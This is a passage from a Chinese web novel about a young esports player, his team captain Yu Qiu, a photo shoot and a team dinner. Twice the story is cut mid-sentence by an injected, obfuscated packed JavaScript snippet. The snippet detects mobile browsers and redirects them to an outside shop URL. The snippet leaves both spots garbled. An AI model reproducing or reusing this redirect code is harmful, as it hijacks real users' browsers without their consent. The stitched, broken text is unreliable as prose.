【而且就像鸟儿要学会离巢一样,父母也需要逐渐学会对孩子放手,让孩子拥有自立根生、独当一面的能力。】 【所以,他们有可能是想让你意识到并学会一件事——在下定决心去拼搏自己的梦想之前,先给自己留一条后路,万一失败了,你还可以有其他选择再拼一次;但假如你真的辍学去打职业失败了,你就要学会为你自己的选择付出相应的代价。】 【毕竟纵使父母再想,他们也不可能一辈子都做孩子坚实的后盾的。】 …… 啧。 这些一堆堆的道理看得夜雨辰不禁开始感到烦躁,特别是最后一点。 但他又不得不承认,对方说的确实很有道理。 不仅如此,这些话还打开了很多他从未思考过或是曾经逃避去想的想法的大门—— 学会离开父母提供的舒适区,更加独立。 他皱着眉头发了条消息过去。 【Rain:但给自己留后路跟我想辍学有什么关系?】 【有耳:除了电竞选手,你以前有想过未来做什么吗?】 他思索了一会。 【Rain:想过,不知道,没想法。】 【有耳:我个人的想法是,学校适应社会,而学历可以让很多对未来迷茫、不知道要做什么的人提供更大范围的选项去寻找、挖掘和尝试更多不同选择的人生道路吧。】 【有耳:假如你读完高中再去打职业,万一真失败了,你还可以有其他的选择,拿着这个文凭去读大学,重新给自己一些准备时间再去摸索并尝试其他的感兴趣的道路。】 看着这些话,夜雨辰眉头皱得更紧了。 【Rain:但我还是不懂,我凭什么会失败成为职业选手?他们凭什么不相信我可以做到?这游戏里没几个人比我强,我要是失败了,那别人岂不是更没机会入选了?】 【有耳:他们相信你肯定可以,但难免放心,因为这个行业他们是陌生的,我们不得不承认长辈们在涉世方面的经验一定比我们深,所以他们所有的选择想法我们都需要去思考和判断是否值得参考。何况这世上所有事情都不是百分百的,“学历”是一个能让你选择更加宽泛的保障,提高这个东西对你来说应该不难。 不过无论你怎么选择,你都必须知道失败是人生的常态,所以人必须拥有一个能坦然且平淡的去接受自己失败的心态。】 夜雨辰是真的看烦自己会失败的语句了。 【Rain:但我不会失败。】 对面沉默了一会才继续接着上一段话继续道—— 【有耳:不过,你现在明显没有这个“接受失败”的心态,最简单的比方就是,你一被拒绝了梦想就直接死马当活马医,下载了这个不知道是什么妖魔鬼怪的APP来倾诉,经典的病急乱投医。】 “……” “砰!” 夜雨辰的手机被用力摔了出去。 78. 包夜 手机离手的这几分钟,夜雨辰一直在尽量让自己冷静下来。 忠言逆耳。 但又不得不去承认,这个人说得好像是对的。 他确实从未想过自己会失败的可能。 因为这根本不可能。 十多分钟后,他才心不甘情不愿地去捡起丢向墙角的手机。 只见对方还发了几条消息—— 【有耳:我以前在青训营兼职过,见过一两个选手在那呆了几个月就直接成为职业选手的,所以网络上的一些资料也不一定准确,只要你足够脱颖而出,不一定要两年才能修成正果。】 欸?几个月? 夜雨辰一下子就抓住了重点。 【有耳:不过你看上去似乎挺排斥上学的?】 “……” 思考了半晌,他才决定说出实话。 【Rain:因为同学老会乱造谣,吵得我耳朵烦,我不学他们也比不过我,所以不如我自学。】 对面立即秒回。 【有耳:虽然不知道你经历过什么,但是青训营里和职业圈里的环境不一定有你想象中的美好,青训营也只会教学员游戏相关的知识,完全不会去管学员的人际关系。】 【Rain:没有想象中的美好?比如?】 【有耳:关系和你很好的人却做出背刺你最深的行为。】 【Rain:这个人为什么要做这种事情?】 【有耳:不知道,也不重要,反正我见过这种事情。一个人足够优秀,外面总会有人会想给你找麻烦的,所以与其管住别人的嘴和想法,不如自己慢慢学会不去听他们的闲言杂语。】 夜雨辰又不是没尝试过不去听别人的话。 但是太难了,他做不到,除非把自己耳朵戳聋。 【有耳:上面这些都是我自己的个人看法,你可以作为参考建议也可以不听进去,离家出走去打职业或读完书再去打职业这两个选择,你还是好好斟酌后再下定决心吧。】 【Rain:你怎么知道我在纠结什么?】 【有耳:过来人。】 看着这三个字,夜雨辰微眯双眸。 这人说话大道理一套一套的,看上去像一名在青训营呆过的青训生,但是真的有点说动他了。 因为电竞这圈子他本身就陌生,一时冲动下定决心时,他也并没有将自己的思考范围展开这么多的角度…… 不过想想也是,前几天比赛时举报他未成年导致最后不能参赛的那些小人,似乎确实可以证明电竞圈可能也不会有他想象的美好了。 而且他本身也知道父母所有对他的决定一定都是别有用心的,所以他不得不深思熟虑这个陌生人给他带来的话,亦或是说,经验。 所以职业这条路…… 夜雨辰眸光突然变得坚定下来。 他突然想到了一个似乎可以折中的方法。 半个小时后,他完全收拾好自己的情绪后才踏出房门:“爸、妈,有两件事想商量一下。一个是我想好了,我想跳级,后年就参加高考,以及……” 他举起满是裂痕缝隙的手机展示给父母看: “刚刚手机屏幕不小心摔坏了,我要买个新的。” …… 说实话,回想起这些,夜雨辰还是有下意识摔手机的冲动。 他正翻看着自己的手机里和有耳的的记录。 虽然刚认识的记录已然不在,但他还是忘不了对方当初说的话有多气人,所以后面他被问追人技巧的时候,他便顺势骂了回去。 其实仔细想想,骂的也没错。 看上未成年的成年人,不是畜生是什么? 不过在经历今天的事情后,夜雨辰还是更加感谢且更有感悟有耳所说的这些经验和看法。 对方说的是对的。 总有人会莫名其妙的给自己找事找麻烦,所以如果只是闲言杂语,自己迟早得学会怎么免疫这些声音。 他明明知道该怎么做,但这两年,他还是下意识地一而再、再而三的逃避去面对这些声音。 特别郁秋曾经在网上帮自己澄清的那件事,让他心中竟然升起了‘下次万一还遇到类似情况,希望还有别人能这么帮他’的想法。但这个心态真的是不对的。无论是谁,他都必须学会挣脱出安逸,独立和直面自己的困境。 能救自己的只有自己。 所以这次,他狠下心,强逼着自己不再去逃避面对和克服自己最大且最讨厌的心里阴影,拒绝了郁秋的帮助。 不过,郁秋上次帮了自己,这次也想帮自己,今天开始总得表达一些感谢的意思吧? 夜雨辰思索了一会。 这两天晚上在酒店,郁秋晚睡是因为都在…… 他打开微信,给几个人发去消息后便去卫生间打算重新收拾收拾自己。 半小时后,夜雨辰洗完澡出来时,郁秋不知什么时候回来的,已经悠哉悠哉地坐在沙发上玩着手机了。 闻到房间里多了一股夹杂着的味道,夜雨辰完全没有几十分钟前的狼狈,反而皱眉问道:“就这几十分钟你去哪鬼混了?” “什么鬼混?”郁秋倍感无辜,“我不是被你赶出去的那个吗?” 夜雨辰嫌弃地扇开飘到鼻尖的气味:“烟味难闻,少抽,对肺不好。” 郁秋一怔,随即不慌不忙地站起身拍了拍身上的衣服:“零落的,我不碰这个东西。” “……” 夜雨辰翻了个白眼,走过郁秋身边把窗子打开,冷漠道:“给你十分钟处理好,不然过会收你陪玩费了。” 闻言,郁秋动作一僵,意味深长地重复了一遍这三个字:“‘陪玩费’?” “有问题?”夜雨辰冷哼一声,“两个国服中单和一个国服路人王免费带你这个低分上星,偷着乐吧,我们三个加起来市场价一把都得400块起步,今天免费带你打一晚上,包夜那种,你赚麻了。” “包、夜?” 郁秋的语气变得更加意味不明了。 下一秒,他看到夜雨辰的眼神更加冷漠,便立马转了个身语速极快道:“很快处理好,老板大气。” 说完,便没了身影。 十分钟后,洗完澡的郁秋打开游戏,笑眯眯道:“你的意思是我乱玩都可以上分吗?” 夜雨辰冷声道:“反正战绩丑了丢脸的只有你,毕竟游戏进去显示的是你的职业大名。” 这两天晚上看郁秋都会抽时间一个人打这个久久不见的职业号上分挺辛苦的,他才不会想着多点人一起上分更效率一点。 所以顺便就把自己兄弟拉来打几把顺便叙个旧以及顺便带某人上分。 郁秋不以为意:“没事,丢脸丢多了,不在乎更多一点。” 夜雨辰的手一顿,眉头微微皱起。 不知道为什么,听到这句话,他有一脚踹飞郁秋的冲动。 郁秋看着排位房里夜雨辰拉进来的两个熟悉但不是战队队友的面孔,问道:“不过五排的话是不是还差一个人?你还打算拉谁?” “不差,别拉了。” 夜雨辰开着游戏麦,郁秋的声音直接传进了这两个人的耳朵里,言星奕立马开口道,“我刚好要带个——” 说到这,他深吸一口气,恶狠狠地咬牙道,“妹。” “哟呵?” ‘带妹’这两个字一出来,小U就没忍住发出一道惊讶的声音,“星哥居然会带妹?快拉进来让我瞅瞅究竟是何方神圣居然能入你委曲求全。” 郁秋没忍住失笑小声道:“‘委曲求全’?” 带妹在这个游戏是很常见的事情,而且一般都是双方自厢情愿的事,怎么会有委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081172|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈的说法? “……”夜雨辰推开凑到自己旁边的郁秋,无语地对小U道:“好消息是,你终于勉强算是用对了一次词,但坏消息是,这个词其实还是没多合适。” 言星奕听到这个词也立马不开心了:“什么叫‘我居然会带妹’?你们什么意思?难道我带过的妹还少?” “?” 空气安静了一瞬,下一秒,夜雨辰和小U就没忍住笑出声了。 夜雨辰无奈道:“少骗人了,你藏不住心里事的,别说带妹了,就没见你这家伙带过人上分,快拉进来,我说你怎么特地叮嘱我除了郁秋别拉其他人,原来是藏了这一手啊。” “啊,什么?郁秋什么时候进来了?” 言星奕立马将话题转了个大弯,“大佬我是你的粉丝能给我签个名吗?” 夜雨辰和小U瞬间也收敛了笑声。 郁秋挑眉:“?” 这个排位组队房,难道不是言星奕比郁秋还晚进来的吗? 而且上次夜雨辰拉郁秋和言星奕一起打三排的时候,言星奕明明一直很针对郁秋,所以哪来的“粉丝”说法? 这时,他的手机突然弹出来了一条微信消息。 是“当0当1不当”的三人小群消息。 【星:你们俩嘴下积点德吧,别管我拉的谁了,他就在我旁边能听到的,是他死缠烂打让我带他我真没办法了!!】 【Night:‘他’?】 【U:不是妹吗?】 【星:说来话长难以解释但真的不要在意,今天不是老夜说主场是郁秋上分吗?所以咱们把重点回归到主角身上可以吗?】 【Night:如果真是这样,震惊,小U居然用对词了。】 【U:去你丫的。】 【U:@星,你这么拉回话题啊,我tm还以为你暗恋这b崽子呢。】 “……” 夜雨辰看着这句话,不知道为什么心里咯噔了一下。 【星:怎么可能?这家伙多讨厌你又不是不知道,要不是太久没和老夜玩而且今天我刚好有空,谁想带他?】 【U:看你这么说我就放心了,好好带你的“妹”去吧哈哈哈哈,晚点再来跟我们讲故事。】 “怎么还不开?” 突然,郁秋凑到夜雨辰旁边提醒道,“房间里五个人了,可以开游戏了。” 夜雨辰一激灵,下意识捂住聊天屏幕,身体同时往旁边一偏。 郁秋感到疑惑:“你躲什么?” “没啥。”夜雨辰若无其事的手速极快地返回了游戏界面并将游戏进入匹配。 选英雄阶段,郁秋饶有兴趣地打探夜雨辰道:“所以你为什么突然提出来要带我上分?” 夜雨辰淡淡道:“战队队长的账号才刚上王者,给战队丢脸太丢脸了,反正闲着无聊和朋友娱乐几把,就顺便带你上个分罢了。” “哦。”郁秋一副恍然大悟的模样:“原来是在为战队的颜面着想啊。” 夜雨辰选好英雄后冷哼了一声:“反正不玩太晚,明早还要赶飞机回去。” 郁秋看着夜雨辰锁定的英雄,眨了眨眼,“但你选了打野我玩什么?” “除了别抢言星奕的‘妹妹’想玩的辅助位,你随便玩。” 夜雨辰笑盈盈地转头看向他,顺便把说话的声音放大了一些,保证让游戏里的朋友听到这些声音,“也建议别玩射手,毕竟某人就想玩射手让辅助跟他大显神威呢。” “夜雨辰!!” 小U跟着笑嘻嘻道:“那我玩边路混了,靠你带飞了言哥哥。” “你们俩是想死啊?!” 郁秋听着大闹的三人,默默地选了个中路英雄。 从没见过夜雨辰打游戏如此放纵的模样。 这三人,关系是真的特别好。 79. 日常 回基地的这两天,虽然大家进行着一如往常的训练,但夜雨辰心里总憋着一股气。 这两天的基地,准确来说是他的房间,少了个人。 郁秋并没跟着大部队一起回上海。 “为什么?” 由于前一天五排打得太晚,起床后迅速收拾好东西准备立马去车上补觉的夜雨辰一听到还窝在床上的郁秋说了句“没机票”这三个字后,瞬间清醒了。 “什么时候的事情?你怎么没说?” 他们全队的机票不是一起订好的吗? 郁秋在床上打了个哈欠,翻了个身,懒洋洋道:“问题不大,你赶紧去集合吧,明晚我就回去了。” 于是夜雨辰就这么被敷衍地赶走了 无论他怎么想方设法线上问郁秋,对方不知道是不是已经睡着的缘故,直接选择了冷暴力。他只好在去机场的路上问零落到底是什么情况。 “额,这个嘛……” 零落有些尴尬地挠了挠脸,沉默了半晌,他才没忍住干咳两声道,“老板想省钱,郁秋毛遂自荐,所以他的机票被改成了绿皮火车票。” “……?” 听到这个解释的JYY众人瞬间哑口无言。 省钱? 但机票钱不是直接找联盟报销的吗? 等郁秋独自回到基地时,已经是第二天的晚上了。 “还是自己的床舒服,那火车的软铺躺得真不舒服。” 一收拾好东西,他直接倒在了床上。 夜雨辰看着这个敷衍了自己近乎两天的人,冷飕飕道:“坐不惯火车还要毛、遂、自、荐?” 郁秋一愣,随即无奈道:“没办法,裤衩老板想着省钱所以求我改票来着。” 夜雨辰冷哼一声:“你的意思是,老板为了省钱,把200块钱的机票改成600块钱的火车票,还让你路上花费的时间从6小时变成了24小时?” “……”郁秋一噎,半晌,他轻笑一声,“也就比你晚回个一天一夜而已,怎么,想我想得夜不能寐?” “你和老板关系似乎走得挺近的。” 夜雨辰翻了个白眼,选择性忽视了郁秋这半句话,一字一句道,“我关注了这两天圈子的的新闻或贴子。‘两人三足’的镜头是真不少,就比如你和沦陷两个在同一个画面后,网上又掀起了一小波你‘蹭沦陷热度’的骂声,还有其他的,比如希楠和小柯的cp……但,几乎都没有我,准确点说是,完全没有狼狈的我的画面。” “我不信我拖累那谁、整个操场只有两个人时,没有一个摄像头注意到我们。” “而且上午我被采访的镜头我找到了,所以我也不信下午那么好给我泼脏水的机会,邱子幸就会轻而易举地这么放过。” 他双眸微眯:“是不是你让这个老板做了什么,他答应后顺便让你坐了个火车‘玩玩’?” 在夜雨辰进战队后的这一个月里,郁秋常常和零落一起帮孟凌轩处理战队的公务,而且郁秋前两天也说过,他能做到让这些声音消失,现在也确实消失了不少,准确来说是外界本该响起的声音,居然没有发出来多少。 最关键的是,郁秋被改票的时间就在事发的当天晚上。 所以这些细枝末节加起来,夜雨辰很难不怀疑郁秋是不是背着他做了什么。 想到这,他不禁皱起眉:“但我不是说了你不要帮我吗?” 在听的过程中,郁秋缓缓坐起了身,若有所思地看着夜雨辰。等对方全部说完后,他摊手无辜道:“确实没帮你啊。” 他无奈地叹了一口气:“我只是提醒了一下孟凌轩,我们在深圳的这几天被其他战队的人嘲讽‘战队公关做得烂’而已,结果他就说我以下犯上,一气之下把我票我改了。” “总不可能让零落跟你们说这傻逼是被‘员工’教做事破防了才改票的对吧?不然他多没面子。” “……” 夜雨辰顿时语塞。 这一通解释总感觉有点不对劲,但转念一想,似乎又很有道理。 因为他也听到过有其他几个战队的人小声吐槽JYY的公关做得很垃圾。 “夜雨辰,我很听话的。” 郁秋坐在床上,笑眯眯地看着他道,“如果我真的帮了你,那邱子幸找的那些记者,一个都放不出来的。” 夜雨辰一怔,手指微微一蜷。 很快,他冷哼一声:“吹牛。” 说完,他便转身离开了房间,上楼去训练室准备继续上分打游戏。 郁秋要是真有那么大能耐,哪会让自己背接近两年的骂声? 简直就是吹牛不打草稿。 但—— 上楼的脚步突然一顿。 夜雨辰站在原地,清晰地感受着心跳的搏动从心口蔓延开,连带着呼吸乱了节奏,不由得不耐烦地“啧”了一声。 还真给他这种假话装到了。 * 第二天下午,JYY整个战队全部人员必须执行一个几乎集体排斥但又十分重要的任务——拍照。 更要命的是,为了战队账号经营能有东西发,队员们还要顺便拍一些日常照。 到照相馆后,开开依旧试图再挣扎几下,强扯着笑容问道:“冷姐,我们就一定不能用之前的照片吗?” 冷姝言冷漠道:“不能。” One看着那一座座亮着刺眼的白光的化妆台,眉头紧皱:“不能只打个底吗?” 她丝毫没犹豫:“不行。” 进门后,Qian看着照相馆,小声道:“我讨厌化妆。” 另一个活泼的女生在冷姝言旁边嬉笑道:“除了小夜,你们一个个起码都有一两年上台比赛的经验了,怎么都还嫌弃化妆呢?” “那不一样。”零落没忍住扶额道,“比赛的话起码就扑个粉,但这种拍照,又得抹那些奇奇怪怪的东西,脸上像糊墙了一样,难受得要死。” 小霖翻了个白眼:“那是你老是熬夜通宵还不保养,我送你的护肤品你也丢角落里睡大觉。” 零落没忍住干咳了两声,心虚地瞥开眼神:“我一个大男人哪需要这些……” 孟凌轩在旁点头如捣蒜,目光不经意地瞥向身旁某个长发男:“就是,大男人要这么精致干嘛?把脸搞帅了去吸引野花野草吗?” 闻言,冷姝言冷飕飕道:“所以你精致是为了沾花惹草?” 孟凌轩瞬间一本正经道:“怎么可能,我帅是为了让老婆更有面子。” 零落看着变脸如此之快的老板,不由得感叹道:“这么玩背刺的?” 难道他不精致就会给小霖丢脸吗? 在孟凌轩另一侧的郁秋忽视了对方对他的阴阳怪气,而是转头在夜雨辰耳边小声道:“还好我俩底子好,不用像他们几个涂厚厚的一层。” “……”夜雨辰沉默了片刻,目光有些怪异地看向郁秋,“你这是在夸我帅,还是想我夸你帅?” 孟凌轩他们几个的声音并不小,所以夜雨辰自然而然听到了他们的对话,而且身为郁秋的室友,他还是知道郁秋每天都会用价格不菲的男士护肤品的。 “?” 对于这个脑回路,郁秋一愣,随即立马反应过来,不禁笑着提醒道:“洗面奶洗脸不属于护肤的范畴里。” 夜雨辰的眉头皱得更紧了:“所以你是想我夸你帅?” “……” 也不是不行。 郁秋没忍住抿紧嘴唇。 一开始,他知道夜雨辰同样十分排斥化妆,所以想安慰安慰他来着。 他立马若无其事地转了个话题,跟队里所有人道:“对了,忘记跟你们说了,孟凌轩说战队第一次集体出门,所以今晚他要请客吃饭。” 闻言,孟凌轩惊诧道:“等——?!” 还没来得及反驳出声,他就被郁秋第一时间捂住了嘴。 只见郁秋脸上挂着一副人畜无害的笑容:“毕竟前天你改我火车票不就是为了把钱留到今天请全队大吃特吃吗?” “真的假的?!” 开开的双眸瞬间亮了起来,“老板大气,老板真好,老板万岁!” One没忍住在旁打趣道:“一有便宜占就叫老板,没有便宜占就叫本名是吗?” 因为孟凌轩和大家的年龄也大差不差,所以他就跟大家说,战队人员也不多,就不用过分在意上下级关系,大家都是一条船上的人,喊他“孟哥”或直接喊他本名就行。 所以对于郁秋直呼老板大名大家并没有觉得有什么不妥。 开开瞬间正襟危坐:“哪有,我怎么可能是那种人,我可一直特别尊重敬佩我们老板的!” 随即,他立马转头笑嘻嘻地对着孟凌轩,屁颠屁颠道:“所以老板,今晚我们吃什么,去哪吃,吃完还有其他团建活动吗?” Qian没忍住翻了个白眼:“装。” “活该。”冷姝言在孟凌轩耳边小声笑完,重新严肃了起来道,“你们现在动作快点的话,有,而且他今晚费用全包,不用客气。” “好嘞!我爱化妆!” 话音刚落,开开就拿着自己准备换的队服跑没了影。 One见状,无奈地摇了摇头:“这小孩。” “没骨气。” Qian没好气地吐槽一句后,也马不停蹄地往更衣室走去。 “所以……”夜雨辰看着郁秋从包里掏出来的东西,脸色变黑了不少,“你为什么要带这个东西出来?” 这东西怎么看怎么碍眼,真的就是夜雨辰的黑历史。 郁秋拎着粉毛黑棕皮的长臂猿的尾巴,眨巴眨巴眼:“拍日常照啊,你不也带了一个吗?” “……” 夜雨辰偏过头,默默地把一直藏在包里、前几天和郁秋一起抓的那个熊猫玩偶藏到了自己身后。 明明藏得很好,怎么被发现的? * “干杯!” 四个小时后,JYY终于结束了拍照任务,选了一家看似极其奢华的饭店聚餐。 众人举起酒杯:“祝我们这个赛季的比赛旗开得胜!” 老板请客吃大餐,众人虽然不知道他哪来的钱,但也完全不客气,大鱼大虾、珍鲜海味,反正馋嘴的招牌的他们全都点上了。 “不过,你们都不觉得郁秋拿的那个东西怪辣眼睛的吗?” 大家开始吃饭后,孟凌轩突然提出来了这个话题。 “……” 闻言,夜雨辰嘴角抽了抽,低下头,装作没听到孟凌轩的声音似的只专注着吃着饭。郁秋则是停下了吃饭的动作,笑眯眯地看向这个疑似在找茬的人。 开开叼着筷子:“不会啊,我觉得挺好看的。” 此话一出,整个包厢顿时陷入一片寂静,不少人吃饭的动作都一顿,眼神皆怪异地看向他。 只有郁秋点了点头,满意道:“有品。” “…………” 饭桌上更加沉默了,不少人脸上写满‘一言难尽’四个大字。 “怎么了?” 开开这才察觉到似乎有点不对劲,疑惑地看向周围。 Qian这才扶额叹息道:“你和秋哥一样,没救了。” “额,其实这个应该还好吧。”One试图为郁秋打个圆场,“那个也就毛色刺眼了点,皮肤颜色暗了点,五官缝歪了点……” 夜雨辰有些紧张的小酌了一口酒。 可千万别有人问这只猴是哪来的。 零落:“所以郁秋你究竟从哪搞出来的这玩意?之前在基地都没见你拿出来过。” 夜雨辰:“……” 不仅如此,零落还接着道:“还有,你们俩为什么拍日常照非要带个玩偶上镜?虽然Night的那只比你的好看多了。” “咳咳咳咳……”听到自己的名字,夜雨辰被呛了两声,迅速避重就轻道,“把我俩审美放一起还不如把他和开开的放一起,那才有可比性。” 小霖点头附和道:“就是,秋哥我是真的很怀疑你的审美,睡衣和玩偶没个养眼的,你能不能学学小夜拿出一个正常点的东西?” “这不可爱吗?” 见几乎在场所有人的话语里都对自己的审美质疑,郁秋才皱起眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081173|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道从哪掏出来了被摄影师的长臂猿玩偶仔细端详了好几秒,才满是质疑地看向各个面露怪异神色的队员,“还是你们审美不行,这只是前几天我在店里对它一眼钟情,特地让夜雨辰帮我抓——” 话还没说完,夜雨辰就手疾眼快地紧紧捂住郁秋,在众目睽睽下眼里满是警告地看着对方:“跟我没关系,别带上我,你自己要抓的。” 好笑,怎么可能让别人知道这么个丑玩意是他抓上来的。 郁秋怔了几秒,才抬手挪开嘴上的手:“特地让夜雨辰教我,然后我自己亲手抓上来的。” 孟凌轩见状没忍住偷偷翻了个白眼,然后故作可惜地叹气道:“唉,看你居然对这玩意如此爱不释手,我还以为是喜欢的人送的呢。” “?” 一提到和感情有关的话题,几乎在坐的所有人的眼神都亮了一个度,只有夜雨辰心脏漏跳了一拍。 而且不知道为什么,孟凌轩这一句话一说出口,他突然就不敢偏头去瞅一眼郁秋现在的表情了。 只听郁秋似在冷笑:“你找死呢?” 小霖第一个发现了端倪:“这反应,秋哥真有喜欢的人?” “当然有了。” 孟凌轩完全无视了郁秋言语里的警告,悠悠道,“他还在你们的眼皮下一直支持并帮他喜欢的人的工作呢。” “孟凌轩!” “等等,这是什么意思?”开开立马反应过来这句话别有深意,好奇心瞬间爆棚,“意思是秋哥不仅有喜欢的人,而且这个人我们都认识?” 听着这些话,夜雨辰不自觉地吞了口唾沫,不自觉地再饮一口。 郁秋喜欢的人、全战队的人都认识,而且郁秋还当着他们的面都在支持且帮助那个人的工作。 那这个人不就是—— “Kimi吗 ?” 身为从郁秋那接Kimi那发出单子赚外快赚了几个月的边射辅三人,第一反应都是这个人,包括夜雨辰。 战队发不起工资,他们四个人包括郁秋自己现在大部分生活费都是靠Kimi派出的单子的结账,而郁秋起到了一个中介的身份。 这何尝不算是一种支持方式? 夜雨辰有些失神的随手夹了一道菜塞进嘴里,掩盖住自己略显酸涩的嘴角。 他一直知道郁秋有喜欢的人,只是一直不确定那个人究竟是谁。 所以,这次恰好有机会打探郁秋的心里想法,他真的很好奇他喜欢的到底是不是…… “咳咳咳咳咳!” 突然,味蕾传来的刺激感让他猝不及防地猛烈咳起嗽,眼角被这股辛辣刺激出一丝泪花,“这,咳,这玩意怎么…咳咳,这么辣?!” 天杀的,完全没有辣椒痕迹的一盘土豆丝怎么辣出天际了啊?! 急着解辣的夜雨辰拿起茶杯,却发现里面一滴水都没有。 “给你。” 郁秋迅速把一杯几乎装满水的杯子递给了他。 夜雨辰想不了那么多,立马接下并不管三七二十一直接一口闷了。 下一秒,温热的流水划过舌尖,无数火星般在口腔里炸开,并像乱箭般肆意迸射,更甚的辣意让他面色一扭,下意识就想把这还未吞咽下去的水和脏话一起全数喷出来。 谁家好人给别人递热水止辣啊?! 但是,一只手在这时突然紧紧捂住了他的嘴,完全制住了他的行为。 “???” 夜雨辰偏过头,不知道是不是被辣刺激的缘故,用泛红的眼眶里波动着比刚刚还水灵的双眸瞪着郁秋。 眼里写满杀意。 而对方视若无睹,甚至还在他耳边似是戏谑地轻声道:“忍着,别吐,也别吞,就这么憋一会。” 憋你大爷。 本就被辣得头皮发麻的夜雨辰,被这一杯温开水刺激到脑子几乎完全陷入了空白,他现在的脑海里完全没心思去掰开郁秋的手,只有用尽所有的脏话去骂对方。 这是在报复他刚刚堵嘴吧? 他深吸一口气,忍着辛辣带来的刺痛将这一口水吞进了肚子里。 “你大——” 等吞下这一口水、郁秋一挪开手,夜雨辰刚打算破口大骂,声音却戛然而止。 刚刚整个喉咙刺得他全身发麻的辣,在这口温水吞咽过后便消失殆尽了。 郁秋笑着解释道:“热水比冷水解辣,只是需要忍一会而已。” 孟凌轩在这时才有些尴尬地解释道:“抱歉,酸辣土豆丝,炒的是小米辣的籽,忘记提醒你们了不好意思。” 夜雨辰眸色沉了沉:“……” 他有些烦躁地抹去眼角没控制住溢出的泪花,顺势给郁秋了一个中指。 所以他是真的讨厌吃辣。 还有为什么要拿热水解辣,疼死了。 他面无表情地拿起酒杯小酌一口,看似已经没事,但耳根子还泛着还未褪去的绯红色。 最关键的是,刚刚那几秒的失态,好丢人。 “所以,只有我还在猜秋哥究竟喜欢的是谁吗?” 开开见众人注意力已经从夜雨辰身上离开后,重新掰回了这个话题。 他还是对他人的感情史充满了不小的八卦心。 夜雨辰再次竖起自己的耳朵静等着回答。 “哎,我说你们,我和孟凌轩又没认识多久,所以他的话你们当玩笑话听听就好了。”只听郁秋无奈地叹了口气,“难道他说我是个同性恋你们也会信吗?” 对于这个回答。 夜雨辰抿紧嘴唇,心情顿时有点沉重。 要是真是同性恋的话,郁秋就不敢当所有人的面说出这种话了。 而且,他要是真不喜欢她为什么不直接否认大家的猜测,而是让大家去以为孟凌轩是在开玩笑? 郁秋是心虚了所以才转移话题了吧。 所以他真的喜欢她吗? 他皱起眉,胸口不禁升起一股说不出的堵塞感让他十分不爽。 一个喜欢谁的问题而已,为什么要避重就轻遮遮掩掩的? 搞得像喜欢的人在场一样。 80. 失控 “所以,你喜欢的人是在场的吧?” 面对这句轻描淡写的质问,郁秋全身下意识绷紧了。 喧嚣的KTV门外二人寂静无声,他低下头,半张脸藏进了阴影里。半晌,他才似是无常地抬起头耸耸肩道:“你喝多了。” 零落充耳不闻这句话,接着轻飘飘道:“你喜欢的人是夜雨辰吧?不是他们口中的那个人。” 话语飘然无力,却如同一记记重锤把郁秋砸得恍惚。但他依旧很快调整好自己的情绪,以一副从容不迫的模样道:“你突然叫我出来就是说这个毫无厘头的猜测吗?而且如果是他的话,我刚刚饭桌上都不会这么说我是同—— “厘头很多,我看得出来。” 零落直接打断了他的话,细细算道,“抛开你执意想把他买进战队、新基地刻意动手脚抽签把你们俩分进一个房间、选秀大会根本不需要队长到现场你却去了的行为不谈……” “你对他关照明显比其他人多很多,比如石简益把他骂了,你是凌晨举报的,结果他当天白天就被匿名用户举报成功了,一般联盟的举报审核流程哪有这么快?” 郁秋表示很无奈:“毕竟夜雨辰是新选手,当然需要特别关照。至于联盟那边……可能刚刚好他们加班了吧?” “那你特地找孟凌轩借车接送他?” “举手之劳,我刚刚好在那附近也有事,顺路。” “前两天当着那么多人的面牵手?” “为了把热度炒更大而已,我们需要流量。” “那你们倒是正常牵手,还特地十指相扣干嘛?”零落翻了个白眼吐槽道,“而且邱子幸给你传了多少个男女老少、只想让你彻底身败名裂的绯闻全都传不出去,而你和夜雨辰的一下就传开了?” “绯闻是绯闻,炒cp是炒cp,两者是有区别的。” 零落一噎,紧接着,他似是不甘心一个个事实都摆在郁秋面前对方却还不承认,不禁咬牙道,“还有,你看他的眼神,很明显就不是正常看队友的眼神,我和小霖谈了这么久恋爱所以我很熟悉这种眼神,明显就是喜欢对方的眼神!” “…………” 这次轮到郁秋沉默了,半晌,他才更加无奈道,“你说这么多,就是为了等我亲口承认吗?” 他叹了口气:“但我喜欢的是谁不重要,你拉我出来特地说这些也不是专门确认这个的对吧?你的八卦心应该没有这么重。” “嗯。”零落点点头,斟酌了片刻,他才有些难以启齿道:“虽然这句话由我说出口不太合适,但是我必须提醒你——” “我知道。” 郁秋立马打断了对方,他偏头看向街边空旷的马路,犹豫了很久,才很不情愿地开口道,“喜欢归喜欢,现在不会谈的,就算真的是互相喜欢,也不会现在谈的。” 他深吸一口气,沉声道:“我保证。” 见对方如此沉重地说这种话零落反倒有些急忙道:“我不是想说这个,我是想说如果你们真的谈了的话需要注意——” “不行。” 郁秋摇了摇头,波动着的眸光里满是坚决却夹杂着一丝落寞,“那是在赌,赌两人以后不会发生任何纠纷、赌两人可以走到最后不会分歧、赌其他队员都能接受这种情况……不确定因素太多了,所以没必要在这个时间点开始一段说不准的事情,风险太大了。” 他看向零落,扯出一抹笑容:“毕竟总不能因为私人感情影响到整个团队的场上表现不是吗?那也太对团队不负责任了。” 